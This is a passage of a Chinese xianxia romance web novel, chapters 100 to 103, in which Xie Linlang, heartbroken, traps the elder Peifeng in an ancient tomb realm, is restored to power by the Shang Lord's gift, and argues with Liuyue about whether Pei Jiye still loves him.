……琉月也没看出林郁哪里像骨头架子了，所以应啸天的审美到底是什么样？为什么会收林郁当徒弟？ 不过这都不重要了。 接下来琉月在此开了大眼，他亲眼看到九夏山的剑仙裴霁变成寂夜宫主裴寂夜，又目睹裴寂夜拉扯着林郁离开上古坟场，再看着培风老儿成了这坟场中的一缕幽魂，整个人都震撼不已。 同时琉月又心生野望。 玄商王朝的根基在于【商】。 商君本质上是调节人族和妖族间关系、血脉、利益、存续和情感变化的平衡器，掌握【商】权柄的存在被称为商君，任何事情都可以通过【商】的手段进行沟通、交易和变化。 琉月想要掌握【商】的神通。 如果他有【商】的协助，再结合着他的美丽和魅惑，琉月想，那我能不能和天道进行协商呢？ 只要稍微想象这样的可能，琉月就忍不住心生战栗和激动。 与上天谈交易，比如让自己直接原地飞升成仙？ 哎嘿，太刺激了。 这条路前所未有、闻所未闻。 但既然都是修士了，都已经逆天而行、成了魔修，为什么不试一试呢？ 琉月做出了决定，选择了未来要走的道路。 琉月的法身是祭品，被永远地留在了上古坟场，但真界的琉月、彼时还是如月尊者的他却不受任何影响。 接到法身返还回来的信息后，琉月立刻动身，准备去找九灵宗报仇。 ……他的法身被毁了啊！在利用寂夜宫窃取【商】的权柄之前，当然要先报了法身被毁的仇！ 有仇不报留着过夜吗？ 结果先他一步离开寂夜宫的裴寂夜大发神威，直接杀向了九灵宗，将九灵宗的山门都打入了混沌罡风深处。 琉月远远看着这一幕，真是又惊又佩服，遂起了结交的心思。 他自诩天赋出众，有魅惑和美丽双重武器加持，想要得到裴寂夜的好感度，那岂不是手到擒来？ 然后……就没有然后了。 裴寂夜居然早就有了心仪之人，情根深种！ 其他人在裴寂夜眼里就是路边杂草，根本入不了他的眼。 琉月郁闷的同时更佩服裴寂夜了，但他也万般好奇，能让裴寂夜惦记这么多年的人到底是谁？ 裴寂夜藏的很好，琉月百般试探都一无所获，直到谢琳琅身死道消，裴寂夜突然闭关，修为一夜之间倒退回了筑基期。 这下子可让琉月抓到了空隙，他利用裴寂夜心神不稳——谢琳琅居然渡劫失败了！他那样风光霁月的人居然会被天道不容，一定有猫腻！——的好机会，总算得知了裴寂夜心仪之人。 正是前段时间真界陨落的丹王琳琅道君。 琉月不由得扼腕，真是灯下黑啊！ 他此前也想过裴寂夜所爱之人可能是九夏山某个修士，但碍于裴寂夜在魔域这么多年都没去过九夏山，还以为裴寂夜和九夏山的关系一般般，就没真的仔细调查…… 当然琉月自己也付出了代价，他好不容易修行出来的新法身被裴寂夜捅成叉烧了！ 整个魔域都在流传他如月尊者卖沟子失败被寂夜宫主干掉了！ ……算了，不招人妒是庸才。 琉月不在乎什么风评和流言蜚语，人在做天在看，反正一切自有天道评判，只要天劫没劈死他，就说明他没做错！ 琉月返回天魅宗，紧赶慢赶终于又炼制出一具新的化身，也就是现在的天魅宗筑基期修士琉月，然后他听说了九夏山的芥子境争夺一事。 在得知寂夜宫直接派出了一艘宝船后，他立刻判断出裴寂夜肯定用了特殊手段，藏身于宝船之中。 能让裴寂夜挪动脚步的，除了谢琳琅，还有别的可能吗？没了！ ……毕竟裴寂夜自己的仇怨都解决掉了，没有仇人，那只剩下所爱之人了。 琉月总算在真界最大的坊市见到了谢琳琅。 谢琳琅复生后的样貌和过去相似但不同，可琉月看到的第一眼，就确认谢玉一定是谢琳琅。 琉月被无数人所爱，自然知道爱一个人并陷入痴狂，是什么模样。 第100章 第 100 章 “他不爱我了啊……”…… 爱如火焰。 以神魂、法力、意志、信念和执着为薪柴, 熊熊燃烧着。 不管是裴寂夜，还是自称是谢玉的谢琳琅，在琉月见到的瞬间, 就仿佛看到了那神魂深处燃烧着的沸腾爱之火焰。 这是琉月自身功法所致, 他天然有着被他人所爱、唤醒他人对于美丽的追逐之意的能力。 可是啊, 不管是裴寂夜还是谢琳琅, 都不会受他影响。 因为他们心中的爱早已被另一个人唤醒了, 并一直燃烧着, 哪怕死亡也无法让他们熄灭。 琉月当时拦住谢琳琅，失声赞叹，说好一位媚骨天成的道友，并非调侃, 而是全然发自真心。 可惜坊市管理者很快出现了, 琉月不想暴露身份, 只得快速离去。 最有趣的是，没多久裴寂夜居然找上门威胁他。 当时琉月差点笑出声, 他假做实力低微、受到威胁, 一副不得不隐忍的模样，也不知道裴寂夜信没信，反正琉月演得很开心。 琉月意思意思参与了一下芥子境争夺，他已然找到了属于自己的道路, 对丹道传承没兴趣。 他本是想暗中观察裴寂夜和谢琳琅间会出现什么变化, 结果万万没想到，上古坟场的大门再一次开启了。 当时琉月已然和自家宗主脱离了地心之火的笼罩范围, 但在琉月察觉到自己损毁在上古坟场的那具法身联系的瞬间，就做出决定。 如此千载难逢的、再一次回到上古坟场的机会，他为什么要错过？ 他一定要借此良机搞清楚【商】的权柄和力量！ 琉月想的很好, 也成功进入了商君冢，还出乎意料地碰到了谢琳琅，共同参与一个盟约仪式时间片段。 琉月在认出培风老儿时还有些惊讶。 没想到上一任的培宫主在上古坟场苟延残喘这么多年，居然还活着，真不容易。 随即琉月就为培风老儿鞠了一把同情泪。 百余年前培风老儿碰到了裴霁，如今好不容易找到脱离的机会，又碰到了谢琳琅，太惨了。 然后事情就变得不对劲了。 按照琉月对商君冢的了解，在第一次盟约仪式结束后，理论上会有第二次相同的盟约仪式片段。 毕竟要达成【商】的局面，必须有最少两方存在。 但第二次盟约仪式时，他没有见到谢琳琅，也没见到培风老儿。 仪式顺利进行，在仪式进行到最后一步时，上古炼气士和大妖同时发难，造成仪式失败，商君含怒出手阻拦，却功亏一篑。 因为上古炼气士和大妖同时出手，意味着二者在无形之中达成了【商】。 商君本身就代表着【商】，他又如何与自己的力量之基抗衡？ 叶仙子出手帮忙收拢了农氏族人和鹤族人的神魂，薄纱张开的瞬间，琉月终于找到了机会。 他的目标是同心玉璧。 那是商君持有的、代表着上苍对于天下万物皆可商的功德圣器。 纵然这里只是同心玉璧的一点时间尘埃和烙印，但琉月也能收取其中的力量为己用。 只要有一枚种子，只要得到【商】的一点痕迹，琉月总有办法将这一点痕迹扩大、增幅再让其从虚幻变为真实存在的力量。 一切都顺理成章，顺利得不可思议，琉月满心欢喜的同时又有点方。 有时候做事太顺利了，除了人品特别好外，还有一种可能：老天爷在憋一坨更大的等在后面。 事实证明，琉月的预感很准确。 在拿到同心玉璧后，琉月就打算脱离上古坟场了。 自从有过被困在上古坟场的经历后，琉月仔细调查过上古坟场的出入规律。 想要打开坟场有三种方法。 一种是精准定位，比如此前九灵宗、寂夜宫等门派常年锚定了上古坟场的位置，只要施展一定的术，献上足够多的死亡，通过共鸣就能将漂浮在时间缝隙里的上古坟场召唤到指定位置。 一种是误打误撞，上古坟场会不定时地出现在一些大凶之地，偶尔也会在大陆上打开一个裂口，纯粹看天时地利人和与运气，比如最早九灵宗的开派祖师，就有足够的运气进入上古坟场，还将其变成了自家宗门的后花园。 最后一种就是血脉神通。 玄商王朝是以人族和妖族共存而著称的时代，商君冢是无数有着混血后裔的生灵埋骨之所。 假如后世有人族和妖族的混血，想要在临死之际回到上古时代人妖和睦共处的仙家福地，就会有一定概率在即将死亡之际抵达上古坟场。 为此琉月专门花大价钱买了一块妖狐族的凝血精魄。 他将凝血精魄与自己的精血混合，炼化成了一枚用来标定时空位置的锚，一旦他进入上古坟场，施展提前刻录好的术，就可以激活凝血精魄里的妖狐血。 所谓狐死首丘，妖狐血脉的后裔在临死之际会天然寻觅血脉来源之地。 由此可以顺利打开上古坟场的大门，从上古坟场回归大陆了。 听起来似乎很简单，可也就是琉月这种目标明确、有钱有资源，还有足够多的朋友可以咨询修行机密的人才可以办到。 只是再琉月准备离开的时候，突然察觉到上古坟场的空间出现了细微的变动。 这、这是…… 琉月几乎毛骨悚然，他想到了上一次法身传回的最后感觉。 当时裴寂夜用尽一切做出豪赌，他颠倒交易双方，将培风老儿扔到祭品位置，自己带着林郁跑路。 那撕裂的时空掀起了巨大的风暴，琉月的法身久久注视着逃出生天的裴寂夜的背影，直到法身被时空风暴切割成了无数碎片。 那个漆黑的几乎化为无数细碎羽毛、大笑着消失在裂缝中的背影，给琉月留下了深刻印象。 这一次…… 琉月下意识地向时空风暴传来的位置赶去。 也许这具法身也会消失，也许他来不及带回此次的战利品同心玉璧，他准备了这么久会功亏一篑……可比起这些，琉月更想借此机会突破境界壁障。 他冥冥之中有种感觉，他突破的机缘要到了。 黑灰色的大地上不知何时多出了一个巨大的螺旋漩涡。 厚厚的云层中隐隐透着凄厉而尖锐的嘶吼声，无数白骨妖灵在周围徘徊，像是想要冲进去，又害怕着什么东西，只能在外侧来回逗留。 尘土飞扬，埋葬了无数岁月的白骨一个个暴露出来，那些白骨上泛着微绿的荧光，有点泛青、又带着点点幽蓝之色。 地上绘制着一个巨大的法阵，此刻谢琳琅就站在法阵最中心位置。 无数白骨伸出手掌，死死地抓着他的小腿，甚至还在试着往下拖拽，像是要将他拉入地狱一样。 但谢琳琅神色平静，似乎完全不在乎自身的狼狈和紧迫。 他只是静静看着半空的培风老儿，甚至有些神思不属，像是在回想什么。 “你做了什么？！” 培风老儿全身魔力激荡，黑紫色的力量形成了一把利刃，死死卡住了要抓住他的巨大白骨爪子。 谢琳琅没有理会培风老儿，他怔怔地看着虚空中的一点，他竟在发呆。 “谢玉！你说话啊！你别装死！为什么啊？！” 培风老儿万般不理解，“你是怎么将我也变成祭品的？明明只有你一个人站在了祭坛中啊！？” 谢琳琅被培风老儿的嘶吼打断了思考，他苍白的脸上流露出一抹厌恶和烦躁。 “……你忘记了？我也是寂夜宫弟子，身上自然也有负债。” 谢琳琅懒散地说：“我已经破产了，根本没资格再向前辈们借债，怎么可能启动【商】的借债仪式？” 狂风卷着谢琳琅的话语，像是碎裂的花瓣，四散在黑灰色的坟场中。 培风老儿仍在愤怒咆哮：“可是仪式启动了！！” “是啊，我想启动仪式送你上路嘛。” 谢琳琅的声音有些低沉，像是想到了伤心事，神色黯淡下来，“我弄了个天魔当祭品，我想这种反向祭品应该会引起商君残魂的愤怒？反正没有哪个先辈见到后辈送来的祭品是天魔，而高兴地借出力量吧？” 谢琳琅站在风暴的最中心，黑灰色的云层遮蔽了他的身影，远处的琉月只看得到一个浅浅的轮廓。 培风老儿还是不理解，他几乎气疯了。 “若我死在这里，你没了祭品，就更不可能打开坟场大门了！” 谢琳琅沉默了一会，才声音奇异地说：“我知道啊。” “你也会死在这里啊！” “……哦，那又怎么样？” 谢琳琅终于垂下头，一直以来支撑着他的信念消失殆尽，仿佛再也没有力气坚持下去。 他声音哽咽，泪水簌簌落下，被狂风卷着，碎裂在代表了死亡的坟场之中。 “他不爱我了啊……” 培风老儿：？？？ 琉月：？？？ 谢琳琅抬手捂脸，身体微微颤抖着，一直压抑着的痛苦和悲伤像是源源不断奔腾的河流，冲刷着他的理智和意志。 “师兄他不爱我了。”他喃喃地说：“那我为何要回到人世间呢？” 培风老儿简直要背过气去，他不可思议地说：“你和那裴霁……啊？不对，你、你难道不该杀回去，将那个负心薄幸的混蛋杀了祭天吗？” 你为什么要拉着老夫一起死啊？！ 谢琳琅低低哭着，半晌才难过地说：“是啊，我知道，道理我都懂，我也知道他无情我便休，我该抛弃他继续向前，可、可是啊……” 他爱了那么多年，追逐了那么多年，辗转反侧、念念不忘了这么多年…… 又怎么可能是一朝间忘却的呢？ 那些美好的时光如毒一样，侵蚀啃噬着他的灵魂和内心。 谢琳琅叹息着，无奈着，竟还带着些许甜蜜之意，“我还是爱他啊，所以我想，不如帮他干掉你，我即便死了，也能安心些……” 培风老儿：“……” 100-110 第101章 第 101 章 “这并不是我想要的……… 琉月大受震撼。 谢琳琅转世重修后只有筑基期实力, 理论上是不可能困住一个渡劫期大能的。 培风老儿在上古坟场游荡多年，还曾被裴寂夜暗算，实力下降了很多, 可仍然有着远超谢琳琅的实力。 这也是一开始培风老儿没有太多警惕心的缘故。 谢琳琅的实力太低了, 还不到元婴期, 培风老儿捏死谢琳琅就像捏死一只蚂蚁那样容易。 可是谁能想到, 谢琳琅他自己压根就没打算活着离开上古坟场？ 他没有抗拒成为祭品, 甚至还用秘法召请了一只天魔来加重祭品的分量。 比起他一个实力低微的小修士, 天魔为祭品反而更容易触怒商君冢内游荡的残魂和怨念。 谢琳琅作为一个刚入门的弟子，哪怕有宗门长辈将债务推到他头上，理论上也不会太多。 可是谁能想到呢？谢琳琅在参加芥子境争夺之前，专门找乐清屏买空了厚厚一侧符文本, 为此他背负了一大堆债务。 谢琳琅并没有直接欠宗门的功德, 有点像是民间借贷, 走的是诸多弟子的渠道。 反而导致这些弟子债务关联到了培风老儿这个前任寂夜宫主身上。 总而言之，谢琳琅没有活路, 培风老儿也不可能逃出上古坟场, 主打一个大家一起完蛋。 培风老儿简直要疯了。 他堂堂渡劫期大能，先是被裴霁这个元婴期的后辈暗算，如今又被谢琳琅这个只有筑基期的神经病暗算，这是他欠债多年不还的报应吗？ 培风老儿强忍着吐血的冲动——纯粹被气的——他努力劝解谢琳琅：“他既然抛弃了你, 你难道不该报复他吗？” 你为什么还要帮他对付我？ 谢琳琅神色怔怔的, 他垂眸，无视周围狂乱的黑灰色漩涡, 死死咬着唇，难过地说：“可我就是喜欢他啊……” 爱情就是这么不讲道理的东西，哪怕裴霁已然向前走了, 可谢琳琅还是会忍不住回忆起曾经甜蜜相处的过往。 裴霁的一颦一笑，那黝黑的、闪烁着柔软神情的眼眸是那么明亮，像是夜空中的星星，在谢琳琅心头一闪一闪的，根本忘不了。 甚至因为裴霁不爱他了，谢琳琅反而本能地更加珍视过往的甜蜜爱恋。 他不由自主地一遍遍想起那些美好的、醉人心神的感觉。 一想到眼前的培风老儿居然要杀回去找裴霁的麻烦，谢琳琅怎么可能坐视不管？ 培风老儿眼前阵阵发黑，整个人都不好了。 而琉月怔怔地看着黑灰色漩涡中心的谢琳琅。 黑发少年簌簌落泪，黑色袖袍下摆被无数白骨妖灵死死拖拽着，似乎下一秒就会坠入无尽地狱和深渊，可他身上除了悲伤和难过之外，并未任何后悔和不甘之情。 纵然他只有筑基期，可爱情这样宏伟而不可思议的力量却让他足以对抗渡劫期的大能。 ——哪怕裴霁不在此地，哪怕他以为裴霁不爱他了。 琉月若有所悟。 他的美丽与魅力向来无往不利，可有些感情是不会受任何外界因素干扰，甚至超越了时间和空间。 只在于那一瞬、只作用于本人。 “你可是修士！你毕生所愿是得成大道，怎么能耽于这种肤浅的情感？” 培风老儿大声斥责着谢琳琅，他是真的不能理解谢琳琅的想法。 “你苦修这么多年的成果，只因为裴寂夜那小儿，就要付诸东流了吗？” 谢琳琅叹息，像是用尽全部力气才将体内的郁气和悲痛叹出来。 他终于抬眸去看培风老儿了，黑发少年的神情漠然而带着一种旁人无法理解的傲慢。 “……随你怎么笑话我，即便我所求的东西对你来说不值一提，我也无所谓，更不会在乎你的看法。” 谢琳琅淡淡道：“人活世间，有的人追求大道，有的人追求名利，有的人追求颠倒生死轮回，我追求的是一份纯洁无瑕的爱，我们都一样，没有区别。” 他甚至在冷笑，“怎么？你认为的无上大道在我眼里不值一提，还不如一份你所憎恨之敌的爱，你破防了？” 培风老儿的脸涨成了紫红色。 自己珍视的、苦苦追求的东西被他人贬得一文不值，让培风老儿恨得几乎要发狂。 “让别人认可自己的看法，追求更多人的赞叹和一致性，本就是愚蠢无用之事。” 谢琳琅厌烦地说：“若人人的想法都是一致，那人和人也该是一样的，若天下皆是相同的人，大道早就劈死这种只知道复制黏贴的人类，扶植妖族崛起了。” “你有你想做的事，我有我珍惜的宝物，别说什么谁对谁错了，归根结底在于实力强弱以及手腕谋略。” 谢琳琅弹了弹袖袍，纵然是生死之际，也不自觉地流露出一副属于书香世家出身的翩翩风流之意。 “你落入我的陷阱里，输掉了一切，就这么简单。” “好好好，想我培风纵横一世，临到渡劫后却遇到你们两个神经病，既然如此，那就一起下地狱吧！” 培风老儿气疯了，他全身魔力膨胀起来，荡起了恐怖的魔力风暴，白骨妖灵形成的巨大爪子被这恐怖的风暴之力刮出了一道道裂痕。 培风老儿手中多了一把斧头，他高举手斧，朝着谢琳琅的头顶就狠狠砸了下去。 “纵然老夫要身死道消，也要在死前干掉你这个混蛋！！” 琉月面色一变，他下意识地张开手，葱白色的手指如莲花般渐次开放，莹莹的光像是在呼唤着什么，然而不等他的术法产生效果，就见谢琳琅张开手掌。 一朵黄色的棣棠花徐徐旋转，绽放。 黑灰色的风暴顿时微微凝固，那死死扎着他的白骨妖灵像是受到什么威慑，竟全都松开了谢琳琅。 下一秒，白骨妖灵们集体转向冲向了培风老儿。 轰隆—— 那裹挟着黑紫色魔力余波的手斧重重撞击在了无数挡在谢琳琅面前的白骨妖灵身上，细碎的骨粉化为一缕缕黑灰色粉尘，与周围的风暴融化成了同一片风与云。 培风老儿眼神凝固了，不可置信地说：“为什么？” 即便谢琳琅曾在上古坟场的时间片段了当掌花使，但那毕竟只是一个虚假的片段，为什么谢琳琅此刻手中依旧有着妖族神宝引魂灯？ 不对、这盏灯…… 培风老儿猛地想到了什么，他仔细看谢琳琅手里的灯盏，破口大骂：“九灵宗的镇派之宝怎么在你手里？” 谢琳琅听后怔了怔，他定定地看手中旋转绽放的花朵，不由得又哭又笑。 原来如此，原来是这样啊…… 九灵宗掌握着妖族的引魂灯，怪不得能轻易打开上古坟场，平息诸多被抽走神通、变成图腾之灵的妖族怨灵。 然而这盏灯连带着九灵宗的山门一起，被裴寂夜愤怒地打入了混沌之地。 可是多年后，紫焕山秘境出现，秘境内部本就空间不稳，那引魂灯从空间缝隙里落入了紫焕山秘境中，无意识地吸收着诸多妖族如飞蛾扑火般冲过去。 紫色如鱼鳞状的树妖藏匿了引魂灯，形成了一个巨大的神树迷宫。 然后谢琳琅进入了紫焕山秘境，因为重生的鹤族血脉，兜兜转转，再一次成了掌花使。 冥冥之中，谢琳琅仿佛听到了上古时代，那个渴求着和平的人族和妖族盟约仪式上，黄发少女清脆婉转的声音。 “请掌花使以花为祝。” 似乎受到未知力量牵引，谢琳琅双手捧着这盏旋转的黄色花朵。 他仰头看天，喃喃地说：“皇天后土、伏惟神灵鉴之：后世人族和妖族已然血脉归一，天道之下众生平等，没有高低贵贱，唯竭力共勉。” 伴随着谢琳琅这句话，狂乱的风暴突兀平息了，黑灰色的天空仿佛被无形的手拨开。 想要让商君冢内的上古怨灵安息，除了献上祭品外，还有另一种不为人知的方法。 向曾经为人族和妖族共存的商君敬告：前辈的努力不曾被历史淹没，祖先的渴求最终得到了实现，曾经针锋相对、你死我活的两族早已血脉归一。 妖族的血在人类的体内流传，人类在不断追寻着妖族的神通，二者互相追逐、互相共存。 ——商君啊，可以安心了。 厚厚的云层之间，出现了一只金色的竖瞳。 那竖瞳俯瞰着黑灰色的大地，冰冷无机质，没有一丝情感。 然而当那旋转着的黄色花朵徐徐升空后，竖瞳仿佛被点亮了一丝光彩，如燃烧着的火焰，照亮了黑灰色的大地。 金色竖瞳久久地注视着这片土地，最终徐徐合拢，仿佛终于放下一切，可以闭目安息了。 强大而玄妙的无形力量穿梭着、游荡着，像是一缕狂风，穿透了谢琳琅的身体，撞飞了试图稳定身体的培风老儿，又荡开了试图赶来的琉月。 玄商王朝积蓄的万余年恩泽与功德凝结成了一缕长而透明的薄纱，从天空中徐徐落下，罩在了谢琳琅的身上。 谢琳琅怔怔地捧着这缕薄纱，境界和魔力以一种不可思议的速度快速增长着。 他本就是化神期修士重修，只欠缺对身体的打磨和魔力的积蓄，而现在商君的馈赠如灌顶般轰然落下，谢琳琅几乎瞬间恢复了曾经的力量，摇身一变，重回化神期巅峰。 与此同时，周围风云变化，一条混沌色的廊道出现在三人面前。 那是曾经谢琳琅穿过的、布满了裴霁剑刃痕迹的长长路途。 差点成了祭品的培风老儿、深受震撼的琉月以及神色怔怔的谢琳琅一起脱离了上古坟场。 谢琳琅无意识地抓紧了身上覆盖的半透明薄纱，一闭眼，再一次哭了出来。 “商君啊……” 感谢您的馈赠，让我重回巅峰，可是啊…… “这并不是我想要的……” 琉月继续倒吸冷气，而培风老儿再一次被气到了。 你不要给我啊混蛋！！ 第102章 第 102 章 “这么多人知道，独我…… 长而看不到尽头的廊道两侧耸立着高高的墙壁。 墙壁上还残留着当年裴霁留下的剑痕, 廊道一侧弥漫着厚厚的雾气，另一侧通往不知名的前方。 谢琳琅仰头看着墙壁上裴霁的剑痕，神色怔怔的。 培风老儿本是神色狰狞, 想要直接捏死眼前这神经病的。 可就在他打算动手时, 突然又卡顿了。 等等, 这谢玉的实力是不是不一样了？直接从筑基期变成化神了？ 培风老儿曾是渡劫期修士, 被困在上古坟场这么多年, 实力早已倒退到化神期。 纵然境界还在, 可全凭他时不时抽取图腾之灵补充力量。 众多图腾之灵入体，各种不同的血脉神通争斗不休——妖族内部也有仇怨——导致培风老儿体内有着不轻的暗伤，若是现在和谢琳琅打起来，鹿死谁手……这可真说不准了啊！ 琉月看穿了培风老儿的想法, 他厉声道：“干掉他！若是他回到寂夜宫, 裴霁会死的！” 这句话仿佛晴空打雷, 本来还在发呆的谢琳琅猛地回神。 他艰难地将视线从墙壁上裴霁的剑痕挪开，看向了培风老儿。 培风老儿没认出琉月, 毕竟琉月两次用的法身外貌不同, 他只得怒骂一句：“小辈猖狂，坏我好事！” 下一秒培风老儿足下生风，朝着廊道没有白色迷雾的方向冲了过去。 琉月这具法身才筑基期，根本拦不住培风老儿。 他只得加快语速：“谢玉, 你还在发什么呆？赶紧拦住培风啊！” 谢琳琅的目光有些呆愣, 他扫了一眼跑路的培风老儿，看向了琉月。 “……你怎么还在这里？” 琉月：“……” 他再去看培风老儿的背影, 已然消失在迷雾里了，只得无奈道：“我和裴霁是旧识，当初他被抓到上古坟场当祭品, 我也是祭品之一。” 顿了顿，琉月补充道：“九灵宗和寂夜宫举行祭祀以安抚上古坟场内的怨灵，单单一个裴霁是不够的，一般他们会凑齐九个祭品，实力从筑基到元婴不等，当时裴霁实力最高，是主祭品。” 谢琳琅的眼皮颤了颤，微微侧脸看着琉月，静静听着。 “好在我被抓入上古坟场的是一具法身，当初裴霁带着林郁跑了，我的法身毁在了上古坟场，却也阴差阳错找到了突破的契机。” 琉月看着一言不发的谢琳琅，想起商君冢时谢琳琅一言不合就拉着培风老儿同归于尽的疯癫样，尽量用温和的语气说：“裴霁、额，就是现在的裴寂夜其实依旧心慕于你，他还爱着你，你信我啊。” 谢琳琅闻言，他微垂着眼眸，神色平静无波。 琉月深吸一口气，继续道：“我知道你不信，但我出身天魅宗，修行的功法让我天然能感知到旁人对我的痴迷和爱慕，我曾试图用此法蛊惑裴霁，他完全不上当。” 顿了顿，琉月的脸色有些扭曲，“一年前，也就是你陨落那一日，裴寂夜同步修为倒退，我获知此事后非常好奇，就作死地去撩拨他，结果被他重创，又损掉了一具法身……” 谢琳琅终于有了反应，他想到了什么，面色古怪。 “如月尊者？” 琉月咳嗽了一声，傲然抬头：“没错，是我。” 谢琳琅垂头，他怔怔地看着地面虚空一点，像是在思考琉月的话，又像是在自言自语。 “……距离他失踪已经过了百年了，我等了他这么久，如果真如你所言，他还爱着我，那他为什么不来找我？” 谢琳琅并不相信琉月的话。 他此前只在坊市里见过琉月一面，后来意外在商君冢碰到，也只当萍水相逢的路人甲。 现在一个随便冒出来的路人甲信誓旦旦说，裴霁还爱着他…… 谢琳琅甚至觉得有些好笑。 琉月算什么？又怎么知道他和裴霁间的过往种种？ 一个外人，有什么资格说比他和裴霁更明白彼此的感情变化？又哪里来的信心保证说裴霁还爱着他？ 即便如此，理智上谢琳琅知道自己在饮鸩止渴，只是听听这些话根本不能改变什么。 但谢琳琅也没有出言打断琉月。 哪怕是虚假的谎言，哪怕是外人随口而出的宽慰之语，哪怕是琉月编织的童话…… 对于此刻的谢琳琅来说，都能稍微缓解一下内心的痛苦和难过。 琉月：“你知道寂夜宫特殊术法吗？裴霁当时通过商君秘法，调转了他和培宫主的身份，由此成了寂夜宫主，也承接了寂夜宫万余年的债务，寂夜宫主是无法离开寂夜宫势力范围的。” 谢琳琅冷笑：“他追杀九灵宗主时倒是能满真界乱窜了。” 琉月只觉得心累：“九灵宗和寂夜宫是盟约宗门，寂夜宫底部有一个特殊的秘密通道直达九灵宗，甚至不受界门干扰，这样九灵宗和寂夜宫才能快速联络，一起出入上古坟场。” 谢琳琅沉默了。 他向来聪颖过人，听了琉月的话，立刻知道这是真的。 之前张思则怎么快速从魔域抵达真界，怎么帮助天凌宗避开乐清屏的反击，甚至张思则会被天凌宗收为弟子，都有了解释——因为张思则掌握着九灵宗的秘法，以及九灵宗的秘密通道！ “他可以利用九灵宗的密道出入九灵宗的地盘，但除此之外就不行了。” 琉月努力帮裴寂夜说好话，一边说一边陷入了自我怀疑，他是不是上辈子欠了裴霁啊，怎么这辈子竟帮裴霁再续前缘？ 谢琳琅冷不丁问：“你知道裴寂夜就是裴霁，除了你，还有谁？那位梦华仙门的姚黄仙子也知道吧？” 姚黄仙子本就是和裴霁、谢琳琅同辈的修士，怪不得姚黄仙子会转成魔修、甚至加入寂夜宫，这是认出了裴霁吧？ “林郁知道，你知道，姚黄仙子知道……” 谢琳琅的身体微微颤抖着，脸色苍白如纸，他惨笑着，滚滚泪水落下，“这么多人知道，独我不知道。” 独他不知。 一瞬间，曾经的花前月下、曾经的共赴白首的誓言像是个笑话，疯狂啃噬着谢琳琅的内心。 他原本就被商君突兀灌顶，修为还未彻底稳固下来，此刻骤然心神失守，魔力在体内经脉乱窜，隐隐有走火入魔的趋势。 黑发少年唇角溢出一丝鲜血，漆黑的眼眸隐隐闪过一丝鲜红，神情凌厉、语气偏激而尖锐。 “你还说他爱我？他所谓的爱，就是告诉了旧日友人，有余裕带着新认识的林郁逃出生天，甚至还有空和你说怎么喜欢我，却唯独没空来找我？” 琉月被这样激愤嗜人的眼神死死盯着，后背直接起了一层鸡皮疙瘩，仿佛下一秒就要被撕碎，琉月的脸色也白了，他下意识地反驳。 “不是的，他没和我说过，是我用秘法试图窥伺碰触的神魂，看到了他平生最恨之事：那就是你成婚了，但伴侣不是他！” 谢琳琅破口大骂：“你什么东西？敢窥伺碰触他的神魂？！” 琉月：“……” 谢琳琅怒极，只要一想到裴霁在重伤之际，被琉月这厮窥伺神魂深处最宝贵的记忆，就有种宝贵之物沾了脏东西的厌恶和烦躁。 琉月也是天魅宗的天之骄子，此刻被谢琳琅骂到脸上，顿时受不了了。 “够了！你们俩人的事与我无关……” “本就与你无关！” “现在重点是这个吗？而是跑掉的培风！” 琉月骂了回去：“培风若是回到现世，裴霁和他的身份会再度颠倒，你的心上人遭到【商】的反噬，就真的要完蛋了！” 他恨恨地道：“我纵然因你们俩的关系而有所突破，此次帮你杀了培风，也算是还了这份因果，以后我再也不会与你们俩相见了！” 谢琳琅闻言神色突兀安静下来，似乎此前的癫狂和愤恨全都消失不见。 “这样啊，那你回去后，替我转告师兄，你在人间，我甚欢喜。” 琉月不明所以：“等等，你不打算回去吗？” 谢琳琅的目光穿过布满了迷雾的廊道，轻轻道：“这里是混沌之地，是九灵宗山门的埋葬废墟，除非提前做了穿梭时空的准备，否则不可能脱离这片空间。” 他瞟了一眼呆若木鸡的琉月，“如月尊者声名远扬，实力高深莫测，你既能从天凌宗嫡传弟子的小世界脱身而出，掀开那个屎盆子，想必也有能力离开这里。” 说完，谢琳琅足下轻点地面，身形如一缕黑色的烟气，朝着前方疾驰而去。 琉月下意识地高喊：“等等，那你怎么办？” “我说了，他都不喜欢我了，我为什么还要活着？” 谢琳琅悲从中来，声音破碎如冬日冰凌，带着细微的哽咽之音，从前方传来，“一切从九灵宗开始，一切也在九灵宗废弃之地结束，就这样吧……” 琉月眼前一黑。 原来我刚才说了那么多，你全都没听进去是吗？ 还去和裴霁转述遗言？你怕不是想我死吧？ 想象一下，他跑到裴寂夜面前，对他说—— 不好意思啊，你爱了这么久的人死在了培风老儿手里。 培风老儿是谁？啊呀你忘记啦？就是被你当祭品、但却没死掉的前寂夜宫主啊！ 以及谢琳琅死亡的地方还是被你毁掉的九灵宗山门，那个被你扔到混沌罡风里的九灵宗废弃之地里…… 最后再补一句：他说了哦，你在人间，甚是欢喜。 开心吗？高兴吗？他很欢喜呢~你也别耿耿于怀了~ 琉月浑身颤抖，若真说了上述这些话语，那就不是一个法身被毁的事了。 他如月尊者的本体也要被裴寂夜撕成碎片啊！！ 第103章 第 103 章 赔钱货。 真界, 九灵宗曾经的山门之地。 沈鹤站在山脚下的坊市，手搭凉棚，看着前方巨大的深坑, 久久不能回神。 当初裴寂夜毁掉九灵宗时, 连带着山脚下的坊市也没放过, 坊市早已成了一片废墟, 灌木和野草在此茂密生长, 几乎将坊市的残骸彻底覆盖。 若非高淳秋指引, 沈鹤还找不到这里。 距离九夏山的火山之水肆虐已然过去了半个月左右。 沈鹤在山腹爆炸时被甩了出去，他运气还不错，正好被扔到了金翎真人所在方向。 金翎真人顺手将沈鹤捞到了寂夜宫的宝船上。 沈鹤醒来后就发现宝船上的弟子人数不全，按照金翎真人的说法, 最少有三分之一弟子不见了, 包括沈鹤的玉佩师尊谢琳琅。 沈鹤立刻挣扎着说想要下船去找谢琳琅。 金翎真人对于想要作死的魔修, 那当然不会阻拦。 他第一时间将沈鹤踢出了宝船，正好还能节省一下宝船的魔力消耗。 不过金翎真人好歹将目前真界的情况告诉了沈鹤。 “由于九夏山的变故, 再加上之前天凌宗发布了关闭界门的消息, 目前真界和魔域两边已经被隔断了。” 金翎真人表示，“我打算带着剩余弟子前往梦华仙门做客，等将来界门开了再回去，你小子若想和宗门一起离开, 可以去梦华仙门找我。” 梦华仙门本就和天魅宗关系深厚, 而以前的姚黄仙子变成了寂夜宫的黄前辈，有这层关系在, 寂夜宫的弟子去梦华仙门也能得到不错的庇护。 沈鹤深深拜谢了金翎真人，转头开始在九夏山附近徘徊寻找谢琳琅的踪迹。 当然他什么都没找到。 